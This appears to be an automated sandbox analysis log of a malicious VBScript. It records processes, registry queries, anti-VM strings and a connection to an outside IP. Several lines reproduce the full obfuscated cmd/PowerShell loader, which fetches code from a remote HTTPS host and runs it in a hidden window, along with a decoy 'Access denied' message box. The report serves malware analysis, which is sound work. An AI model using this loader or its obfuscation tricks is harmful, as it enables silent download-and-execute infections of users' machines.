Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell").Run("cmd /C ""echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^|%{[char]($_+381)})-join'') ^^^| ^^^&($BqIeP) | %WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -""", 0, false) : Call MsgBox("Access denied.", 16, "Windows Explorer")IServerXMLHTTPRequest2.open("Get", "https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps:/", "false");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.open("Get", "https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps:/", "false");IServerXMLHTTPRequest2.send();IWshShell3.Run("cmd /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $(", "0", "false")

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($BqIeP) "
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($BqIeP) "	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4838			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4996			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2472	Thread sleep count: 4838 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2472	Thread sleep count: 4996 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6188	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: wscript.exe, 00000000.00000003.2155460887.0000021328D82000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328D87000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155993130.0000021328D87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: wscript.exe, 00000000.00000003.2155460887.0000021328DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155993130.0000021328DD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2155460887.0000021328D82000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2157396890.0000021328D87000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2155993130.0000021328D87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'J

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

System process connects to network (likely due to code injection or exploit)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 149.56.240.127 443

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^^^\|%{[char]($_+381)})-join'') ^^^\| ^^^&($BqIeP) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($BqIeP = $('{7}{8}{1}' -f $('BxljcZKie'.ToCharArray())); $((-290,-303,-280,-265,-335,-298,-280,-267,-263,-276,-282,-280,-301,-270,-276,-271,-265,-304,-284,-271,-284,-278,-280,-267,-288,-323,-323,-298,-280,-267,-263,-280,-267,-314,-280,-267,-265,-276,-279,-276,-282,-284,-265,-280,-295,-284,-273,-276,-281,-284,-265,-276,-270,-271,-314,-284,-273,-273,-283,-284,-282,-274,-349,-320,-349,-258,-345,-265,-267,-264,-280,-256,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-349,-320,-349,-290,-298,-260,-266,-265,-280,-272,-335,-303,-280,-265,-335,-309,-265,-265,-269,-294,-280,-283,-299,-280,-268,-264,-280,-266,-265,-288,-323,-323,-314,-267,-280,-284,-265,-280,-341,-342,-277,-265,-265,-269,-266,-323,-334,-334,-277,-270,-266,-265,-325,-328,-328,-333,-333,-335,-276,-271,-279,-270,-323,-332,-328,-330,-331,-331,-334,-262,-280,-283,-332,-335,-269,-277,-269,-342,-340,-322,-349,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-297,-276,-272,-280,-270,-264,-265,-349,-320,-349,-330,-333,-333,-333,-333,-333,-322,-349,-345,-341,-290,-298,-260,-266,-265,-280,-272,-335,-308,-270,-335,-298,-265,-267,-280,-284,-272,-299,-280,-284,-281,-280,-267,-288,-341,-345,-300,-315,-299,-307,-265,-278,-300,-298,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-341,-340,-335,-310,-280,-265,-299,-280,-266,-269,-270,-271,-266,-280,-298,-265,-267,-280,-284,-272,-341,-340,-340,-340,-335,-299,-280,-284,-281,-297,-270,-312,-271,-281,-341,-340,-349,-257,-349,-308,-312,-293)^\|%{[char]($_+381)})-join'') ^\| ^&($BqIeP) "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior

